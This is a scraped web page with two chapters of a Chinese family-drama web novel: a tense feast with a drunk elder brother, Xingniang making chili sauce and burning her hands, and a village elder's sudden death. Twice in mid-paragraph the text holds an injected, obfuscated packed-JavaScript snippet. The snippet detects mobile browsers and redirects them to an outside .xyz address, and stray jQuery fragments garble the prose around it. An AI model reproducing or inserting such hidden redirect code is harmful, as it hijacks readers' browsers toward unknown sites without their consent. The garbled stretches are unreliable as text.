“原来是这样，”杏娘点点头，停下剁肉末的菜刀，一脸真诚地给出建议，“这还不简单，你们要真是眼红的话，干脆让丛文跟着他小叔学手艺算了。” 她偏头想了一下，“丛文今年有十岁了吧，正是当学徒的好年纪，大了小了都不合适。他亲小叔当师傅肯定不会苛待他，必定手把手倾囊相授，你们也能放心。这样且不是一举两得，你们好好考虑一下吧。” 林氏的脸色彻底冷下来，儿子就是她的逆鳞。 如果说当家的是她现今的生活保障，儿子就是她的精神支柱和全部的希望，她愿意为他谋划一切。若是有人敢阻拦她儿子的路，她会神挡杀神，佛挡杀佛，不择手段。 她的儿子就该超过他的父亲，考取功名，青云直上，光宗耀祖，岂能干那些下九流的勾当？ 林氏面无表情地道：“文儿性格内敛，不爱说话，又喜欢念书，做不了二弟的行当。我看青皮跟青果倒很合适，往后可以接二弟的班，还不用便宜外人。” 杏娘嘲讽地弯起嘴角，这时候又成了外人，她不再搭腔，埋头做自个的事。 林氏更是觉得话不投机半句多，她就不该跑来跟这个弟媳套近乎，白生了一肚子气。随意折了几根菜叶子，过了一会儿，找个由头回堂屋去了。 望着林氏消失在门口的背影，杏娘捂着嘴嘎嘎笑，直笑得眼泪都出来了才罢休。 让你嘚瑟，让你没事找事，说话拐弯抹角，这回吃瘪了吧！对付她大嫂这种人，就得心狠手辣，脸皮厚，顾忌的越多，越被拿捏，还不如破罐子破摔，她反而有所顾忌。 杏娘心里得意洋洋，好不畅快，往后就用这招对付林氏，看她经得住几次打击。哼着小调挥舞锅铲，叮叮当当越发像一首欢快的曲子。 不到半个时辰，一桌色香味俱全的席面就整治出来，鱼肉蛋酒都不缺。 “别的都好说，我是真想念弟媳做的菜，你嫂子做饭总是差点什么……同样的菜式、调料，弟媳做出来就格外香一些，可见灶上手艺也讲究个天份。”丛信看着一桌子散发咸香辛辣的菜肴，暗自吞咽一口口水，本来还不觉得饿，菜一端上来肚子里像吞了一只青蛙，咕咕作响。 菜式荤素搭配，十分讲究，梅菜扣肉、肉丸蛋皮、炸胡椒肥肠、香煎大白刁和青椒炒藕哨子是买回来的，加上家里的几样坛子菜，菜园子的各色青菜，整整凑了十盘。 盛了饭碗后，桌上就没空的地。 丛孝热情招呼吃菜，“来来来，赶紧趁热吃，大哥既然喜欢吃杏娘做的菜，那就多吃点。” 又拿了酒壶给二人倒酒，“难得今儿咱们爷几个聚在一起，是得好好庆贺一番。这是新打的黄酒，香气浓郁、风味醇厚，给爹喝最适合不过。它还能舒筋活血、温养身子，咱们哥俩也喝几杯。” 丛三老爷笑眯眯举起酒杯闻了闻，酒香怡人，色似乳汁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457619|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈氏则在旁边一个劲的劝大孙子吃菜，夹了这个夹那个，生怕她孙子够不着，小小的碗里堆成了尖。 丛信老神在在地捏着酒杯，“你还会缺酒喝？县里那般繁华的所在，想必你什么酒都品尝过吧。” “没有，没有。”丛孝摆手苦笑，“我是去做工的，又不是去享福的，一日三餐尚且胡乱打发，更何况喝酒？今儿高兴，咱就别说这些了。对了哥，你的那个私塾我还没去过呢，是不是很气派？学生多吗，他们听不听你这个先生的话？” 这番话显然挠到了丛信的痒痒肉，他白胖的脸上满是自得，衣锦还乡所谓何求，还不是为了出人头地，荣耀先祖。 “学堂怎能说气派，又不是商铺那等铜臭之地？学里讲究的就是个风清雅正、端方简朴，太过奢靡简直有辱斯文。” 丛孝受教地点头：“是，是我说错话了，我就是那个什么……如入鲍鱼之肆，久而不闻其臭。没想到我还能说出这般文雅的话来，可见我也是受到了大哥的熏陶。” 丛信看他上道，越发身心舒畅、谈兴浓厚：“学生倒还听话，我是教他们礼乐教化的先生，他们敢不尊师重道？只是可惜他们虽家资富裕，天资却不甚聪颖，勤勉又远远不及，难堪大用。哎，咱家要是有这条件，我又何须屈就于此……” 早在丛信长篇大论时，杏娘就携了自家的三个孩子回灶房，这里的饭桌上摆了跟堂屋一样的席面，只是分量少了点。 她才懒得听自个男人在那拍大哥的马屁，多听几句饭都不用吃了，恶心就饱了。更加不会坐在那阿谀奉承林氏，打死她都说不出口。 还不如远远离了他们，母子几个吃口安逸饭，饭菜这般丰盛，不能都便宜了外人。 吃到一半，听到陈氏喊“杏娘，上茶”的声音，杏娘纹丝不动，充耳不闻。这一家子还来劲了是吧，给点颜色就开染坊，怎么不干脆上天算了。 吃完饭收拾好桌椅，杏娘回堂屋时，丛信吃醉了酒，大发酒疯。 他双眼迷离，满脸通红，粗大的酒槽鼻喷着粗气，越发显得肥头大耳。 “我知道……二弟，我知道是我亏欠了你，你对我不满是应该的……” 丛孝连声说到：“没有的事，哥，你真的误会了，咱俩是亲兄弟，打断骨头连着筋的那种。我怎么会怨怼你，完全没有的事，你不要多心。” 他赶紧又给空了的酒杯倒满，往旁边移了移，自个默默夹菜吃饭。 杏娘心里冷哼，这是借着酒劲装疯卖傻呢，什么德行，转身进了西厢房。 丛信肥厚的大手掌搭在他的肩膀上，酒气喷过来，丛孝皱眉侧过头，“不过没关系，我的那个东家说了，他在县里有门路，认识不少秀才。到时候……焉知我就不是那一个，你是我唯一的弟弟，我怎么会亏待你？到那时，你就去跟我混，保你荣华富贵享用不尽。” 林氏气闷地捏着帕子捂鼻子，灌了两杯马尿就不知道自个姓谁名谁了，白惹出这许多笑话。 “是，是，我往后就靠大哥了，哥哥打小就比我聪明，我不靠你靠谁？” 丛孝扶着他的身子站起来，“看来大哥是喝醉了，嫂子，劳你在前头开门，我把哥送回你们房里歇息。” 林氏一肚子火走在前面，丛孝扶着他哥踉踉跄跄跟在后头往隔壁走去。 61. 第 61 章 晌午的一顿酒席吃了近一个时辰，丛孝回房就嚷嚷着头痛，躺在床铺上哼唧。 其实他喝的不多，就最开始陪着喝了几杯，后面就光顾着给他哥倒酒了。这会不过是看没人耍耍性子，逗逗媳妇罢了。 杏娘骂了句“活该”，她今天有重要的事要忙，哪有空搭理他。倒了一碗水放在床头，走开忙活自个的去了。 菜园子里的辣椒一段时间没摘，红了大半，有些离地近的下半截挨着地面，已经腐烂散发辛辣味。 早上她摘了全部的红辣椒，清洗干净后晒在席子上，此时已经沥干水份。 拿出不常用的大木盆，放入菜刀、菜板，摘了辣椒蒂后倒进盆里。 玉陵县家家户户爱吃酱，也做酱，但是手艺参差不齐，水平各有高低。有的媳妇子偷懒不摘辣椒蒂，辣椒连着蒂一起剁碎，散发一股子怪味；有的摘了辣椒蒂后再清洗晾干，辣椒里面进了水，做出来的酱易坏不说还有酸味。 都说杏娘做的酱好吃，那是她每一个步骤都很谨慎、小心。向来是等沥干水后才摘蒂，严格保证辣椒不沾一滴水。 望着菜板上的红辣椒，杏娘深吸一口气，接下来的两天日子不好过啊。躲得了初一，躲不过十五，她毅然伸手抓住辣椒切碎，“笃笃”的声音连续不断响起。 等丛孝小眯了一觉醒来时，木盆已装满了大半，红通通的碎粒十分显眼，空气里辛辣扑鼻，旁边的地上还放着一篮没剁的红辣椒。 “你到底要剁多少辣椒，这木盆都快装满了？” 杏娘抬头有气无力瞟了他一眼，一点都不想说话。 丛孝笑嘻嘻蹲下来，“要不我来帮你剁吧。”说着就要伸手拿过她的菜刀。 “免了，”杏娘懒洋洋隔开他的手，剁了半天胳膊酸软无力，“我不想做出来的酱一股酒臭味。” 丛孝无辜表示：“你等一会不还是要往里头倒酒，我提前给你沾沾酒气也是一样的。” “那绝对不一样，”杏娘摇晃手指拒绝接受这个说法，“没喝过的酒是酒香，喝了酒的人那是酒臭，哪里一样了？” 丛孝失笑摇头，他媳妇讲起歪理来还一套一套的。 “听爹说，你还去镇上摆摊啦？” 提起这事，杏娘更是垂头丧气，“别提了，我还以为凭我做酱的手艺，怎么的都能卖出去十坛、八坛。结果守了整整两个时辰，就卖出去两坛。” 她举起两根手指在男人眼前来回晃，再一次强调：“就两坛，你敢信？我给人家打两个时辰的零工都不止挣这几个钱。” “已经很好了，”丛孝安慰媳妇，“做买卖也是讲究开门红的，你头一次出摊就卖出去两坛，往后只会越来越好，说不定我媳妇能做出一番大事业呢。” 杏娘嗤笑：“是，好大的事业，杂货铺里闯天下。” “噗！”丛孝端着茶碗正在喝水，闻言嘴里的茶喷了一地，连声咳嗽，他媳妇说话真是越发好玩了。 他放下茶碗，“咳……我看家里的小坛子也没几个了，这几天我去镇上寻摸寻摸，找一家做工精湛、价格公道的陶器铺子。若是谈得拢，可以由他们长期供货，买得多还能讲讲价。” 杏娘有些犹豫，这还没开始唱戏呢，戏台子就搭得这般高。要是锣鼓齐鸣开场了，台下却一个看戏的人都没有，岂不面上无光？ 又转念一想，就算卖不出去，陶瓷坛子可以留着自家用，再不然还能送人，实在无需过份担忧，“嗯，我觉得这个主意可行，第一次也不要定太多，就要……十个吧。” 丛孝点头，“没问题，等料理完你这边，我也差不多要去县里了。这几天睡得我腰酸背疼的，还是去活动下身子骨，人都要睡懒了。” “要你起来你不肯，那床铺比你亲儿子都亲。”杏娘嘲讽自家男人。 男人自觉理亏，摸头傻笑，确实睡得久了些。 剁碎的红辣椒按照十斤酱一斤盐的比例撒入精盐，再混入生姜末和白酒。 其实这般做出来的酱是偏咸的，辣椒称重时还没摘蒂，撒盐时已经去蒂。 不过农家有个俗语叫盐多酱不坏，存放的时间也长。杏娘就没算的那么精细，左右炒菜时尽量少放或不放盐，用酱代替。 有些吃得重口的人家，酱做得齁咸不说，炒菜时还拨一勺子盐，那味道能齁死卖盐的。杏娘却听他爹说过，这般吃法于身子有害无益，吃盐不是越多越好，万事万物讲究个道法自然，顺势而为。 杏娘看着眼前的红辣子，真的下不去手啊！犹豫半晌，带着一股舍我其谁、壮士断腕的决心，伸出双手插入辣椒堆搅拌均匀。 玉陵县的大多数人家到这里就代表酱做成了，可以装坛封好，只等着过些日子舀出来吃即可。 杏娘却比他们多了个步骤，这还是当初李老爷子走南闯北时无意中听到的一个方子。杨氏试了一回觉得味道更好，母女俩做酱就都照着这个方子来。 往大铁锅倒入小半锅菜籽油，放入葱、芹菜、香菜、八角、桂皮、香叶、花椒等香料，小火慢炸成金黄色捞出。再倒入剁好的辣椒把水份炒干，晾凉装坛后，表面浮着一层红色透亮的油。 时间越长颜色越厚重，对于常年缺少油水的庄户人家来说，看了就咽口水。 锅里最后剩下两斤左右的酱时，杏娘沉思了一会，撮了一指白糖，另拿个小坛子装了。 酱坛子靠墙放好，杏娘舒一口气，又去了一件大事，手上隐约传来的灼热感提醒她大事不妙啊！ 人人喜欢吃酱，做酱的人却要付出惨痛代价，碰触红辣椒的双手像被大火灼烧，抓心捞肺地难受。双手会渐渐泛红，带着些肿胀，这种疼痛还不是短暂的，而是持续一两天。 这两天可谓是吃不下睡不着，心里时刻憋着一团火，猛不丁就要喷火星子。 杏娘双手浸泡在冷水里稍微缓解痛感，一拿出水面仍是火烧火燎，可又不能袖手不干活了。只能当它不存在，习惯就好，不过眉头却皱得死紧，心里越发焦躁。 晚饭时青果不知从哪里捉了两只绿油油的金龟子，用细竹子卡住背上的硬壳，两只虫子翅膀震动发出连续不断的“嗡嗡”声。 杏娘听了心里更是烦躁，“咱们先吃饭，吃完再玩好不好？” 青果应好，把虫子放在条凳上。 杏娘给他喂饭时，他就时不时伸手过去拨弄一下，翻过来转过去。一口饭含在嘴里半天不动，全家都吃完放下碗筷，只有他碗里还剩了大半碗饭。 杏娘心浮气躁大吼一声：“别玩了，好好吃饭。” 青果吓了一跳，赶紧收回手乖乖吃饭。 隔不了一会，他又偷偷摸摸伸手过去，拿起两根细竹枝碰撞。两只虫子张牙舞爪，翅膀震动得更加频繁，“嗡嗡”声越发大起来，逗得他哈哈大笑，嘴里的饭喷了一桌。 “轰！”的一声，杏娘心里的火直冲天灵盖，再也无法忍受哪怕一息时间，扯过他的胖胳膊照着屁股就是一巴掌，“我让你玩，我让你玩……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457620|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 青果这个年纪本就穿的开裆裤，热天的裤子又格外松散，两个圆溜溜的屁股蛋子晒得乌黑发亮。这一巴掌直接打在屁股蛋子上，结果可想而知…… 小家伙嚎了半宿，屁股火辣辣的疼，倒不是被打的疼。而是他娘手里沾了剁碎的红辣椒，又碰到他的屁股，他也跟着辣的疼。 丛孝好气又好笑地抱着小儿子哄，看他的小黑屁股似乎也有点发红，又是抹油又是抹醋的。其实哪里看得出来，黑成那样，堪比包公的脸，纯粹是当爹的不忍作祟。 晚上睡了一觉，隔天醒来青果的屁股就不疼了，依旧笑嘻嘻围着他娘打转。杏娘亦是哭笑不得，典型的记吃不记打，却再不敢用手碰他。 又过了一天，杏娘的双手才慢慢好转，到晚上时也不疼了。 这天晚上万籁俱寂，一片漆黑，整个村子沉睡在无边黑暗，天上没有月亮，连一颗星子也没有。河边田野微弱的虫鸣似有若无，越发显得寂寥无比。 “嘭嘭嘭！”突然，一阵突兀的声音在夜色中响起，丛三老爷家的大门被锤得山响。 杏娘迷糊中翻个身，推了推旁边的男人，“外面有人在拍门。” 丛孝无意识哼唧一声，扭了下身子继续睡。 杏娘闭着眼睛半梦半醒，朦胧间听到落门栓的声音，大门“咯吱”一声打开，有人在说话。接着，他们的房间门被猛烈拍打，“老七，赶紧起来，快点！老七，出大事了。” 丛孝一个鲤鱼打挺坐起来，定了定神，忙下床找鞋，“来了，来了，别拍了。” 房门打开，丛三老爷急切的声音响起：“六太爷走了，赶紧把杏娘叫起来，咱们要过去帮忙。” “走了？走去哪了？”丛孝迷糊地揉眼睛，猛然想到什么，脑子一懵，结结巴巴地问，“您是说六太爷过……过世了？怎么可能呢？怎么就过世了？” 丛三老爷一手提上鞋后跟，一手系外褂纽扣，忙地团团转，恨铁不成钢地看着他：“我怎么知道，我先过去看看，你跟杏娘快点过来，让你娘在家看孩子。” 说完，急匆匆打开大门小跑出去。 丛孝仿若梦游，游回房间，杏娘坐在床上穿衣裳，她刚才听到了父子俩的对话，“六太爷怎么就……突然就走了，这……这可如何是好？” 她的声音里满是慌乱、无措，系盘扣的手不停哆嗦，一粒纽扣系了半天也没系上。 丛孝叹一口气，上前一把握住媳妇的手，“没事，别怕，我在呢，咱们先收拾妥当，再过去看看什么情况。” 男人的语气沉着冷静，坚定沉稳，杏娘被安抚住，慢慢镇定下来。这就是家里有男人的好处，当家的在家，碰到天大的事也能抗一抗。 她穿好衣裳，套上鞋梳头发，“怎么这样突然？六太爷就……我昨天经过他家门口，老人家还笑眯眯跟我打招呼，精神看起来可好了，怎么就这么走了？” 许了上了年岁的人脾气就越发好，自杏娘嫁来丛家，每回碰见六太爷，他老人家都是一副和颜悦色、笑呵呵的模样。没对晚辈说过一句重话，谁家需要搭把手，他二话不说就过去帮忙。 脾气好得不得了，小孩子都爱围着他老人家打转，不时得一粒糖果，一口点心。 这么好的人，怎么说走就走了呢？ 丛孝也伤感：“谁说不是呢？他家人少，现在指不定怎么慌乱呢，咱们先过去再说。” 两口子匆忙收拾妥当，跟陈氏打了声招呼，急匆匆往六太爷家走去。